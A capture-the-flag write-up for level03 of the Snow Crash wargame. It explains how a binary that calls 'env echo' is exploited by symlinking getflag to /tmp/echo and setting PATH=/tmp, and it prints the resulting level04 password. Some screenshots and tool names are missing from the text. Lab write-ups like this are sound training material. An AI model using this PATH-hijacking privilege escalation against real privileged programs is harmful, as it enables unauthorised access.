When we log in as level03 user we can find a binary file in the home directory named level03. if we execute the ls command we get the following result :
So we can execute the level03 binary file. When we execute the file it says Exploit me and that's it. The binary do not accept any command line arguments nor any does it takes any input (such as reading standard input / outputs).
Fortunately the Snow Crash ISO contain the program GDB so when we run GDB and decimpile the main function. We get the following output:
So from this code we can clearly see that the program is setting all user id to our effective ID and all group ids to our GUID and then it calls /usr/bin/env which then calls echo .
So just by looking at it we can already guess that env has to guess where echo is based on the PATH environment variable (because the path to echo is not absolute). What this means it that if we change the PATH environment variable we can control what is executed.
What we need to execute is the program getflag which is located in /bin
One thing to remember is that the program that is executed in the end must be named echo as the program env searches for echo in all the paths in PATH environment variable.
What we should do is put the getflag somewhere and change its name to echo so that the program env execute our fake echo . In the OS all paths are not writable but we can write in the /tmp directory and one of the easiest way to copy a file and change is to create a symbolic link and then we change our environment variable PATH so that it has /tmp in it. :
And now if we execute the program level03 we get the following result:
level03@SnowCrash:~$ ./level03
Check flag.Here is your token : qi0maab88jeaj46qoumi7maus
We can use this flag to log into the level04 account :
level03@SnowCrash:~$ su level04
Password: qi0maab88jeaj46qoumi7maus
We do not have a flag03 for this exercice
Password for next level
So the Password to connect to the account level04 is qi0maab88jeaj46qoumi7maus
Command summery
## Copy the getflag binary as echo
level03@SnowCrash:~$ ln -s /bin/getflag /tmp/echo
## Change the PATH environment so that only the given path
## is searched when searching for binaries.
level03@SnowCrash:~$ export PATH=/tmp
## Execute teh level03 binary and log into level04 account
level03@SnowCrash:~$ ./level03
Check flag.Here is your token : qi0maab88jeaj46qoumi7maus
level03@SnowCrash:~$ su level04
Password: qi0maab88jeaj46qoumi7maus
Some of the tools that can do that are and () there are other tools that can also decompile and show semi higher level code which are / , which are also really great tools. But i prefere the decompilation of Ghidra and RetDec as they can generate the most human readable code (in my opinion)
You can also use an online version of RetDec which you can find (for this exercise it is convinient)
I did not\t mention because i do not use it that frequently.
NOTE: It looks like this exercise was inspired from the Exploit Exercices